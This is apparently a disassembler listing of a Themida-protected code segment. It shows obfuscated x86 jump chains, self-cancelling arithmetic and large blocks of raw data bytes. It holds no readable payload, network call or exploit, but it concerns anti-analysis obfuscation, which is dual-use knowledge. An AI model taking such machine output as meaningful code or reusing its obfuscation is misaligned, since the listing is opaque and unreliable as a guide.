		db 1
		dd 0A4E95FFEh, 8100002Bh, 0AF3FB0E9h, 59CB0175h, 6874E957h
		dd 0FA280000h, 0E9D3005Bh, 6001h, 0E94077FFh, 41DDh, 12019005h
		dd 8BC20100h, 0C4832404h, 4685304h, 5B000000h, 7D12EA81h
		dd 72E92F18h, 81000000h, 2ECh, 1C896600h, 2CC6B324h, 4D82846h
		dd 1C8B6646h, 2C48324h,	0D800F804h, 82E9F82Ch, 81000038h
		dd 4C4h, 0E9860400h, 0FFFFCDE4h, 0BA52E589h, 4,	835AD501h
		dd 2C8704C5h, 0CF67E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586946:				; CODE XREF: Themida_:005881ACj
		push	ebp
		jmp	loc_588461
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0AE90000h, 68000015h, 399Eh, 52240C89h
		dd 5AB8F5BAh, 5AD1898Eh, 748FE9h, 81DA0100h, 187D12C2h
		dd 241C8B2Fh, 4C481h, 14330000h, 24143124h, 0FFD5D6E9h
		dd 7C6856FFh, 5E51040Ah, 6BAFBF57h, 814F5DCEh, 804A1F7h
		dd 9DE78169h, 814AB768h, 83638DE7h, 6E7C14Bh, 73AC781h
		dd 0FE29306Ch, 0FFF0895Fh, 0D8E92434h, 6600000Ah, 57240C8Bh
		dd 0E956E789h, 0FFFFE3CFh, 642CB204h, 237568h, 24148900h
		dd 3B04E9h, 4C78100h, 0E9000000h, 3958h, 50241489h, 0FE64E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5869F6:				; CODE XREF: Themida_:0058B6E1j
		and	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	ebx, ebx
		jnz	loc_584DE4
		push	18B6h
		mov	[esp], esi
		jmp	loc_58AF0C
; ---------------------------------------------------------------------------
		db 52h
		dd 5C728FBAh, 5AD10148h, 0B850h, 0C8290000h, 4E3DE9h, 0EE815D00h
		dd 6FB30E80h, 0CC25E95Ah, 0C383FFFFh, 241C3304h, 33241C31h
		dd 815C241Ch, 4C7h, 0FF8FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586A52:				; CODE XREF: Themida_:005829FCj
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_584532
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0EF66E95Eh, 0C481FFFFh, 4, 241C8B66h, 2C481h, 24E90000h
		dd 0AD000041h, 5652D831h, 5908DABEh, 81DEF70Fh,	0D71C4CE6h
		dd 0D0E8E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586AA2:				; CODE XREF: Themida_:0058BD6Dj
		push	741A03C4h
		pop	ecx
		push	ebx
		mov	ebx, 4A863C0Ch
		push	ebx
		mov	ebx, 0E3500C9h
		sub	ecx, ebx
		pop	ebx
		add	ecx, 1F5249B8h
		sub	ecx, 24EC7D57h
		sub	ecx, ebx
		add	ecx, 24EC7D57h
		sub	ecx, 1F5249B8h
		push	esi
		mov	esi, 51B77CA2h
		shl	esi, 1
		or	esi, 246456E5h
		sub	esi, 9939FF1Ch
		add	ecx, esi
		pop	esi
		jmp	loc_584DF4
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 1Fh
		dd 0E9351400h, 0FFFFC734h, 4BC768h, 4682E900h, 8B660000h
		dd 67E92424h, 8B000032h, 0C4832434h, 4C48304h, 0E9E38953h
		dd 1D0Bh, 0EA81DA01h, 7A0B4291h, 0FFEFD6E9h, 3CC705FFh
		dd 0AF05793Bh, 55F9E70h, 283B602Dh, 2D2DF029h, 52283B60h
		dd 9E70AFBAh, 0E9D0295Fh, 1997h, 0A9E9D701h, 1FFFFB2h
		dd 0A3E95DEAh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586B5B:				; CODE XREF: Themida_:0058877Fj
		push	esi
		jmp	loc_589171
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 42h
		dd 0E91DAC1Ah, 61Ah, 3302C183h,	0C31240Ch, 240C3324h, 0C8B665Ch
		dd 0D7685024h, 5400007Dh, 8324048Fh, 58042404h,	28F2B951h
		dd 2E9678Bh, 66000050h,	5024048Bh, 405E089h, 68000000h
		dd 2510h, 50243489h, 234DF368h,	1BACE944h, 0E9560000h
		dd 0FFFFFCA3h, 4C481h, 0A8E90000h, 0FF00001Dh, 48B2434h
		dd 0E2895224h, 18BB850h, 0BDE90012h, 2C000010h,	0AC045923h
		dd 0D800F304h, 0AC2CF32Ch, 39685C04h, 89000056h, 0B252240Ch
		dd 0BFE952F0h, 0ADFFFFCBh, 1D3168h, 24148900h, 8904EC83h
		dd 0CFBF243Ch, 0F757BD10h, 5E7C1D7h, 7DC1EF81h,	5756A9A1h
		dd 442BE9h, 65B95100h, 0E94C285Fh, 42h,	50E68956h, 0A02E9h
		dd 0C8B6600h, 4EC8124h,	89000000h, 0E954240Ch, 0FFFFB594h
		dd 0EE805B66h, 0B65266B4h, 0B3536692h, 66D800B1h, 52F0005Bh
		dd 0FBE9E8B2h, 83FFFFC4h, 3C8704EFh, 0C0B5E924h, 0CB89FFFFh
		dd 0DFBD5559h, 29198032h, 5D08246Ch, 4245C29h, 4244481h
		dd 198032DFh, 81241C8Bh, 4C4h, 0B9685800h, 8900007Fh, 0A9BB241Ch
		dd 4358FA15h, 0C381D3F7h, 0A5227510h, 0FFFA0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_586CAD:				; CODE XREF: Themida_:005842D1j
		push	edx
		mov	edx, 3B1F1993h
		add	edx, 0C4E0E671h
		sub	ebp, edx
		pop	edx
		jmp	loc_58CC7F
; ---------------------------------------------------------------------------
		db 5, 73h, 3Dh
		dd 815A4411h, 4ECh, 242C8900h, 0A80CD9BDh, 0B9E5E94Fh
		dd 2DADFFFFh, 1E5047AAh, 4EC81h, 14890000h, 64E95524h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586CEF:				; CODE XREF: Themida_:00589734j
		pop	ecx
		jmp	loc_58A336
; ---------------------------------------------------------------------------
aYj?shv		db '¾Yj}?éHV',0
		dw 8100h
		dd 0DF5E1CF6h, 0E9F331A7h, 5CA5h, 11E9C101h, 81000069h
		dd 4C4h, 108CE900h, 0C1810000h,	2, 0E9240C87h, 3BCFh, 81008Fh
		dd 35F33DE3h, 0FFAB90E9h, 80CFFEFFh, 0F78083CFh, 1FF7809Eh
		dd 1370E9h, 42EEB800h, 0C14838D7h, 390506E8h, 2D60B919h
		dd 619C7640h, 7200C181h, 0E9815B98h, 485C6Fh, 0FFFF9FE9h
		dd 5E5456FFh, 4C681h, 9BE90000h, 54000041h, 57243C8Bh
		dd 0C781E789h, 4, 4C781h, 0C9E90000h, 100001Ch,	4EC83E8h
		dd 0BF243C89h, 5A7C2120h, 14E9D7F7h, 5CFFFFB8h,	0E9243489h
		dd 0FFFFC4C2h, 0AD69A835h, 2942056Fh, 0DB3526E2h, 525DFE40h
		dd 970130BAh, 0E9D02947h, 0FFFFE673h, 0E9F1295Eh, 45EBh
		dd 0D83362BDh, 0EADDE97Dh, 0FE88FFFFh, 0FFF692E9h, 0EAF181FFh
		dd 0E976360Fh, 4C7Dh, 8904EC83h, 6BB82404h, 2908191Dh
		dd 0FAE958C6h, 0E9FFFFE0h, 0FFFFAAC1h, 2B17BF57h, 95E97CA5h
		dd 5C000062h, 242C3166h, 242C3366h, 242C3166h, 0FFAAA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_586E25:				; CODE XREF: Themida_:0058A15Cj
		pop	edx
		jmp	loc_585512
; ---------------------------------------------------------------------------
		db 1
		dd 0E9815AD1h, 7C5E7052h, 0C181F901h, 7C5E7052h, 0BA52h
		dd 0CA010000h, 0E95A0288h, 5026h
; ---------------------------------------------------------------------------


loc_586E4C:				; CODE XREF: Themida_:0058A074j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_589C5A
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 2C1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_586E65:				; CODE XREF: Themida_:0058846Fj
		xor	edx, 4DA82470h
		mov	ebp, edx
		pop	edx
		sub	eax, 0D626E2Eh
		add	eax, 2E6E2E5Ch
		sub	eax, 6C420FB6h
		sub	eax, ebp
		add	eax, 6C420FB6h
		sub	eax, 2E6E2E5Ch
		add	eax, 0D626E2Eh
		pop	ebp
		jmp	loc_58A925
; ---------------------------------------------------------------------------


loc_586E94:				; CODE XREF: Themida_:00581918j
		push	4A72h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 7B5C03E5h
		xor	eax, 778200CEh
		sub	eax, 5DD93C0Dh
		jmp	loc_58C743
; ---------------------------------------------------------------------------


loc_586EB3:				; CODE XREF: Themida_:005822ABj
		pop	ebx
		push	45B3h
		mov	[esp], ecx
		mov	ecx, 2028E0h
		shl	ecx, 1
		xor	ecx, 632E232Bh
		sub	ebp, ecx
		pop	ecx
		shl	ebp, 6
		push	ebx
		mov	ebx, 151E30FFh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5837F7
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5
aTnvSn@		db 0Ah
		db 't­V^é­@',0
		align 2
		dw 295Fh
		dd 0EC80E9CAh, 0C301FFFFh, 6EB86858h, 1C890000h, 22C6BB24h
		dd 5C2915F8h, 1C8B0824h, 4A05E924h, 0B2B10000h,	0E91DE980h
		dd 0FFFFE401h, 0E9028F66h, 0FFFFA9A9h, 0BB53575Dh, 4, 15BDF89h
		dd 51A7E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586F32:				; CODE XREF: Themida_:005886F4j
		push	eax
		mov	ah, 29h
		jmp	loc_58539A
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 61E904EAh, 8B000043h, 0E955242Ch, 0FFFFF9E4h, 6514BA52h
		dd 505544BFh, 67D3BA52h, 0D089771Dh, 0DFBD555Ah, 0C1612311h
		dd 0E5C105EDh, 3779E903h, 0CFE0000h, 52E99C24h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586F77:				; CODE XREF: Themida_:00587387j
		mov	[esp], edx
		mov	edx, 2D9E4F20h
		add	ebx, edx
		pop	edx
		mov	dx, [esp]
		push	esi
		sub	esp, 4
		jmp	loc_5881B9
; ---------------------------------------------------------------------------


loc_586F8F:				; CODE XREF: Themida_:0058BC19j
		mov	eax, 31462078h
		dec	eax
		inc	eax
		sub	eax, 7C47BC9h
		push	ebp
		push	eax
		jmp	loc_583100
; ---------------------------------------------------------------------------


loc_586FA2:				; CODE XREF: Themida_:00583E38j
		add	ebp, 4
		jmp	loc_582251
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0BE562424h, 4, 4247401h, 5400E95Eh, 0C8B0000h
		dd 52C5E924h, 8B660000h, 5450240Ch, 47BE6858h, 14890000h
		dd 4EC8324h, 0B9240C89h, 201F0E3Fh, 8159CA89h, 1F0E3BEAh
		dd 0C2B3E920h, 0D101FFFFh, 749E981h, 835A6FCEh,	0C8904ECh
		dd 2474FF24h, 0E7E95904h, 1000069h, 81042474h, 0EC042444h
		dd 8B7A0845h, 0C4812434h, 4, 5724048Fh,	0AED7E951h, 483FFFFh
		dd 815B0424h, 4C3h, 0BA525500h,	40BF38C8h, 0D59DE955h
		dd 0E951FFFFh, 0FFFFDC56h, 8104C483h, 4ECh, 0DF30E900h
		dd 148BFFFFh, 4C48124h,	51000000h, 6C2BE950h, 0F5810000h
		dd 2CFC18F7h, 315DEA89h, 5A042454h, 70BD555Ah, 565E240Eh
		dd 5F6D59BEh, 51DEF754h, 0E4DDE955h, 0E955FFFFh, 0FFFFB423h
		dd 3E3168h, 241C8900h, 8B4E94BBh, 64C3817Eh, 5787A50Ch
		dd 0C02A45BFh, 5FFB2967h, 84FF381h, 0E9563195h,	0FFFFFC39h
		dd 5C243487h, 81241C89h, 76222434h, 8E94B38h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5870CF:				; CODE XREF: Themida_:0058B072j
		sub	esp, 4
		mov	[esp], eax
		push	0DA836AAFh
		pop	eax
		sub	ebx, eax
		pop	eax
		mov	edi, ebx
		pop	ebx
		push	ebp
		push	ecx
		push	41403927h
		pop	ecx
		dec	ecx
		sub	ecx, 2C8D73D1h
		add	ecx, 1AD6B674h
		jmp	loc_5828EF
; ---------------------------------------------------------------------------


loc_5870FE:				; CODE XREF: Themida_:0058A4FEj
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 7AAB06C9h
		sub	ebx, 478604E4h
		push	edi
		mov	edi, 4FC1334Dh
		jmp	loc_589F66
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 0EDB25AC5h, 5DE901A6h, 0FFBB43E9h, 4C781FFh,	87000000h
		dd 565C243Ch, 0C681E689h, 4, 45D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_587145:				; CODE XREF: Themida_:005822D2j
		pop	eax
		add	esi, edi
		pop	edi
		sub	ecx, 1EE5044Ah
		add	ecx, esi
		push	edi
		mov	edi, 1EE5044Ah
		jmp	loc_5837C5
; ---------------------------------------------------------------------------
		dd 27EBEB81h, 0DF0144A7h, 2EF815Bh, 57000000h, 42474FFh
		dd 0FFEF43E9h, 8DF581FFh, 81173074h, 84C54BEDh,	0E0DDE95Ah
		dd 0F681FFFFh, 44C34456h, 0C681D6F7h, 238265EDh, 0FFCAF9E9h
		dd 81D329FFh, 0E54C70EBh, 0FB015A1Ah, 19CFC381h, 0E95F3671h
		dd 4787h, 0A9ABD55h, 0F74510FFh, 36C581DDh, 3111E1A6h
		dd 0F0015DEEh, 2404335Eh, 33240431h, 0E95C2404h, 6A45h
		dd 2DD00159h, 33722350h, 1012C05h, 0C718h, 0E9000000h
		dd 0FFFFE413h, 207F83ADh, 0A3840F00h, 81FFFFC8h, 6B65B2C6h
		dd 0FBEEE978h, 0F029FFFFh, 3362055Eh, 0EC817DD8h, 4, 50243489h
		dd 813218B8h, 0E9D8F751h, 0FFFFD5BEh, 0A46FBC2Dh, 0E9C8293Dh
		dd 5D98h, 0E91FEB80h, 10FDh, 0E9240C8Bh, 0FFFFE277h
; ---------------------------------------------------------------------------


loc_58723C:				; CODE XREF: Themida_:00583BFBj
		add	edx, 2FBE53FCh
		jmp	loc_583D70
; ---------------------------------------------------------------------------
		db 80h
		dd 0B45093EBh, 58E30003h, 5106EB80h, 1680E9h
		db 0
; ---------------------------------------------------------------------------


loc_587259:				; CODE XREF: Themida_:00584D37j
		or	ecx, 55464966h
		not	ecx
		xor	ecx, 2EF55430h
		sub	ecx, 10CB2C61h
		neg	ecx
		jmp	loc_58A834
; ---------------------------------------------------------------------------
		dd 24148B66h, 0AFD68h, 240C8900h, 0C1815954h, 4, 4FE468h
		dd 24348900h, 656B951h,	58BE1FFCh, 291FFC06h, 240C8BCEh
		dd 4C481h, 0F1010000h, 5E2434FFh, 3304C483h, 0C31240Ch
		dd 5ECFE924h, 12B10000h, 24248651h, 8852D4F6h, 24648AE2h
		dd 24548804h, 80595A04h, 0B050F0E1h, 4FF2C13h, 58C1007Ah
		dd 0EFE9662Ch, 68000043h, 3BBFh, 3477E9h, 0AAB86600h, 66566607h
		dd 0E90000BEh, 0FFFFB648h, 8124348Bh, 4C4h, 5AD12900h
		dd 5C240C87h, 56240489h, 5A245A68h, 0E9D8E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58731A:				; CODE XREF: Themida_:00588292j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58731F:				; CODE XREF: Themida_:00589C64j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5867C3
; ---------------------------------------------------------------------------


loc_58733F:				; CODE XREF: Themida_:0058D033j
		add	ecx, 62514669h
		sub	ecx, edi
		sub	ecx, 62514669h
		jmp	loc_582602
; ---------------------------------------------------------------------------
		dw 401h
		dd 242C8124h, 484C0404h, 9C268h, 59F6E900h, 0C3010000h
		dd 6AD7BA52h, 0C281728Fh, 6C4C322Eh, 0ED00E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58737A:				; CODE XREF: Themida_:0058CD57j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_586F77
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 8104C483h,	4EAh, 0C71BE900h
		dd 0DD88FFFFh, 6EC5805Bh, 73E9E800h, 8700004Dh,	45E92434h
		dd 81000011h, 0C1852EF1h, 87C5818Eh, 294E5855h,	4677E9CDh
		dd 0EB800000h, 5BDE30F3h, 0E97EC680h, 616Dh
; ---------------------------------------------------------------------------


loc_5873DC:				; CODE XREF: Themida_:00584EA8j
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		jmp	loc_584FA7
; ---------------------------------------------------------------------------
		db 87h
		dd 4BE92404h, 88000004h, 0C5805AD5h, 5A0BE997h,	0E9810000h
		dd 786D23C2h, 0E953E901h, 0FFFFBDE1h, 0EA81CA01h, 4A3A0D4Dh
		dd 0FFC7C5E9h, 0D831ADFFh, 6665BE56h, 0CE811D57h, 3804059h
		dd 769FF681h, 0BAE95C83h, 81FFFFF6h, 42404h, 34FF0000h
		dd 0C4815F24h, 4, 4C781h, 0C7830000h, 243C8704h, 3416685Ch
		dd 0C890000h, 1EEF6824h, 3C890000h, 786B6824h, 4F5F58F8h
		dd 6B4EE9h, 71C68000h, 805AF528h, 0E800BDEDh, 4317E959h
		dd 99BD0000h, 814CAB2Eh, 0BE6D53E5h, 45D5F704h,	0FFDE15E9h
		dd 3058B7FFh, 5AE95BFAh, 5E000015h, 4C481h, 0BE560000h
		dd 515B240Dh, 815EF129h, 794B51C1h, 81C10102h, 794B51E9h
		dd 0D632E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5874BE:				; CODE XREF: Themida_:0058AD04j
		mov	ecx, 49E49465h
		add	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 0B59AAB74h
		add	esi, edi
		jmp	loc_588E27
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 6964E9h, 66DA8800h, 81241C8Bh, 2C4h, 6ACA8000h
		dd 6808E2C0h, 35D6h, 0FFCEDBE9h, 47C680FFh, 44EB80h, 0BDB252F3h
		dd 0D2F6DAF6h, 0DAF6DAF6h, 803BEA80h, 0D300C5F2h, 8124148Bh
		dd 4C4h, 148B6600h, 2C48124h, 28000000h, 515066C3h, 219EE9h
		dd 0C1EE8100h, 0E92EFA7Eh, 316Fh, 365551BEh, 68685777h
		dd 89000025h, 1CBA2414h, 81363E28h, 0E72752F2h,	40AFE90Ch
		dd 89500000h, 7C1668E0h, 0C890000h, 7FB8B924h, 0F1812D66h
		dd 3B4C5DB5h, 4E9BF57h,	0F92128F7h, 6E9C15Fh, 6A37E181h
		dd 0C1812E0Bh, 0FFFFF804h, 0C8BC801h, 0E908E924h, 0C481FFFFh
		dd 4, 0FFFE5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5875A1:				; CODE XREF: Themida_:0058BC5Bj
		and	eax, ebp
		pop	ebp
		jmp	loc_588777
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 81771A08h, 2454016Fh, 246C8108h, 81771A08h, 2F41E96Fh
		dd 0E9570000h, 0FFFFD7C9h, 0FAE932FFh, 8BFFFFA2h, 0C481242Ch
		dd 4, 4F92E953h, 0FD040000h, 0FD2CD828h, 81241C8Bh, 4C4h
		dd 0B4505100h, 66B5BCh,	0DDF658E5h, 0C0AFED80h,	0B3E903EDh
		dd 0B700001Ch, 66FC00F3h, 0C0DCF65Bh, 0C4FE04E4h, 8079E480h
		dd 0E628CEC4h, 6EEC058h, 4438E9h, 578BBD00h, 8FE95FCEh
		dd 5B00004Ah, 15D1ED81h, 3EE906BAh, 89000033h, 3FE955E0h
		dd 5AFFFFFEh, 0FFBC41E9h, 5E5456FFh, 4C681h, 0C6810000h
		dd 4, 8B243487h, 81522424h, 4ECh, 19AE900h, 680000h, 0E9000000h
		dd 0FFFFCDE2h, 0BA241489h, 613D6926h, 3B5BBA52h, 26E96251h
		dd 5AFFFFFFh, 5424E9h, 0BAE95000h, 0C1FFFFF6h, 25E907EAh
		dd 31FFFFBFh, 0E9D1F7CFh, 0FFFFAD12h
; ---------------------------------------------------------------------------


loc_5876A0:				; CODE XREF: Themida_:00588947j
		neg	esi
		jmp	loc_58C5BC
; ---------------------------------------------------------------------------
		db 28h
		dd 0B35350C3h, 71CB8035h, 0E9E5F380h, 0FFFFF165h, 0E4ED815Dh
		dd 0E9270034h, 3C38h, 4E9815Fh,	87000000h, 895C240Ch, 74FF240Ch
		dd 0C8B0424h, 492DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5876DE:				; CODE XREF: Themida_:00586763j
		add	esi, 63607F2Fh
		add	esi, ebx
		sub	esi, 63607F2Fh
		add	esi, 22CF7A09h
		mov	ebx, [esp]
		jmp	loc_58D89B
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 609876BFh, 0C381EB01h, 609876BFh, 6D7CEB81h,	815D671Ah
		dd 2C3h, 241C8700h, 2404085Ch, 0A1A7E99Ch, 5752FFFFh, 903EBABFh
		dd 5FFA890Dh, 9456B12Dh, 27E80538h, 0D02933CAh,	32BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58773D:				; CODE XREF: Themida_:0058CC6Dj
		shl	eax, 3
		add	eax, 2A834A0h
		not	eax
		xor	eax, 9761D5CBh
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	5A4907A1h
		jmp	loc_586768
; ---------------------------------------------------------------------------
		dw 315Ah
		dd 0D1015FFAh, 8124148Bh, 4C4h,	240C8700h, 431665Ch, 4EE99C24h
		dd 5BFFFFA1h, 4EC81h, 2C890000h, 0E96BE924h, 0D14FFFFFh
		dd 376DE9EFh, 0C5290000h, 8124048Bh, 4C4h, 25C9E900h, 77FF0000h
		dd 2434FF1Ch, 5324048Bh, 37E9E389h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5877B3:				; CODE XREF: Themida_:00584D64j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_588C3F
; ---------------------------------------------------------------------------
		dd 712968h, 24148900h, 2441E9h,	24E28000h, 0F280C2FEh
		dd 4D3F689Ah, 29E90000h, 58FFFFAFh, 0EB80C300h,	0E95866EFh
		dd 0FFFFFEB3h, 9D5EB81h, 0E95F359Ah, 0FFFFAD10h, 53240C89h
		dd 0D9887EB3h, 57241C8Bh, 243C8B54h, 4C481h, 0C7810000h
		dd 4, 4BE56h, 0FE90000h, 54FFFFBEh, 8124048Fh, 42404h
		dd 48F0000h, 24048324h,	166FE904h, 248B0000h, 240C8924h
		dd 0A68E189h, 89000046h, 4BF243Ch, 1000000h, 243C8BF9h
		dd 8104C483h, 4C1h, 240C8700h, 0E924248Bh, 0FFFFDF3Ch
		dd 0DC11E957h, 8157FFFFh, 4ECh,	24248900h, 4240481h, 0FF000000h
		dd 835F2434h, 0C78104C4h, 4, 45C6E9h, 24043100h, 31CF3197h
		dd 0FDF5E9F9h, 34FFFFFFh, 0EEFBE924h, 1AE9FFFFh, 52FFFFA0h
		dd 0F28035B2h, 0B0506656h, 66C2308Eh, 0EFB55158h, 53E1E9h
		dd 0C5815900h, 7591EA5Ch, 5876EE81h, 0F3E93399h, 66FFFFA5h
		dd 5624048Bh, 5A568h, 2556E900h, 0D3F70000h, 5703EBC1h
		dd 2309CABFh, 5FFB01ECh, 0F26D6B05h, 4CF9E96Dh,	89510000h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 241C895Ch, 6824048Bh
		dd 206h, 89241C89h, 0E5EE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587926:				; CODE XREF: Themida_:0058496Dj
		push	1
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	2Eh
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_58844C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0DE7EE81h, 0F031D955h, 0E92434FFh, 2810h
; ---------------------------------------------------------------------------


loc_58795C:				; CODE XREF: Themida_:0058B790j
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, ecx
		not	ecx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5879A8
; ---------------------------------------------------------------------------
		dw 665Ah
		dd 0D6B15158h, 80A6B252h, 51E935F2h, 68FFFFD0h,	703Bh
		dd 4379E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	39C36F9Bh
		pop	eax
		jmp	loc_5885B1
; ---------------------------------------------------------------------------


loc_5879A8:				; CODE XREF: Themida_:00587979j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5842BF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 2BD5500h, 1000000h, 0FF575DEFh, 0E9042474h, 3C79h
		dd 4C781h, 0ACE90000h, 0FF00000Fh, 34FF2434h, 0B8E95924h
		dd 6600003Eh, 5224048Bh, 2434FF54h, 0E789575Ah,	4C781h
		dd 0C7830000h, 243C8704h, 0C8B9515Ch, 0E97BBA7Bh, 1D95h
		dd 8001ED80h, 0EF882EC5h, 5BFE2059h, 0C02CF680h, 0E6C005EEh
		dd 0D0EE8002h, 0E9E4B450h, 0FFFFDA05h, 8324148Bh, 0E95B04C4h
		dd 0FFFF9E91h, 8605D801h, 8B22D906h, 0C481241Ch, 4, 4EC81h
		dd 34890000h, 2BE24h, 0A2D0000h, 0E956AD74h, 0FFFFF47Dh
; ---------------------------------------------------------------------------


loc_587A60:				; CODE XREF: Themida_:0058C76Ej
		mov	[esp], edi
		push	5F5D35C0h
		jmp	loc_58415C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0F2456ABBh, 81D3F70Fh, 17B654F3h, 5BDD29E3h,	4A0BE9h
		db 0
; ---------------------------------------------------------------------------


loc_587A85:				; CODE XREF: Themida_:00589A49j
		add	eax, 48D50679h
		push	esi
		mov	esi, 800h
		jmp	loc_58A4F9
; ---------------------------------------------------------------------------
		db 4, 29h, 66h
		dd 3515E952h, 0C9BA0000h, 5011F348h, 0F510C6B8h, 580B3554h
		dd 0C2314506h, 16012D58h, 0D0011AC5h, 0FFC300E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_587ABD:				; CODE XREF: Themida_:0058B739j
		or	ecx, 0E4C4459h
		sub	ecx, 9ECECF5Dh
		jmp	loc_584D2E
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0A5DEE924h, 0C131FFFFh, 312FE9h, 4B900h, 0CB890000h
		dd 34EA8159h, 8101F77Fh, 0B37C2BEAh, 38B1E95Dh,	0D3F70000h
		dd 4DDFF381h, 0FFE91E4Fh, 5FFFFCEh, 4, 5EE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_587B0D:				; CODE XREF: Themida_:005833F8j
		push	ecx
		jmp	loc_581D64
; ---------------------------------------------------------------------------
		db 89h
		dd 0F5B02404h, 6AE9D0F6h, 8100001Ah, 3496C0C1h,	59CE315Eh
		dd 4511CE81h, 0B850208Ah, 5A193BF2h, 1635D0F7h,	40020739h
		dd 5423840Dh, 4AF10525h, 4D2D13A3h, 0E9CF1504h,	0FFFFAD26h
; ---------------------------------------------------------------------------


loc_587B50:				; CODE XREF: Themida_:00585CD5j
		mov	[esp], cx
		jmp	loc_5852FE
; ---------------------------------------------------------------------------
		db 58h,	0FFh, 34h
		dd 241C8B24h, 4C481h, 3C680000h, 0E9000031h, 4935h
; ---------------------------------------------------------------------------


loc_587B70:				; CODE XREF: Themida_:0058804Fj
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	2F1Dh
		jmp	loc_585EF9
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 5C24048Fh,	4B30F66h, 2AE99C24h, 28FFFF9Dh
		dd 0E95266C3h, 0FFFFAB3Fh, 8B1C4709h, 0C4832404h, 9D13E904h
		dd 34FFFFFFh, 9F685824h, 89000073h, 0E9542404h,	4A1h, 0FF9CFCE9h
		dd 0EBE951FFh, 0F6000051h, 4E5C0D5h, 88A2F580h,	885159ECh
		dd 59EE88E5h, 4346E958h, 0C3810000h, 4,	4C381h,	1C870000h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_588BDB
; ---------------------------------------------------------------------------
		dw 0EA31h
		dd 15D9E95Dh, 0E1890000h, 4C181h, 0AEE90000h, 0BB000033h
		dd 0
		dd 0DE89F329h, 53E6815Bh, 0C110F33Ah, 39E906EEh, 5C000039h
		dd 24048966h, 0FF9C90E9h, 0D82959FFh, 39FA68h, 24148900h
		dd 5C1685BAh, 5AD00117h, 785D68h, 24348900h, 2F83BB53h
		dd 0EBC131CEh, 0BAC38103h, 891BF473h, 0C6835BDEh, 0E9DEF701h
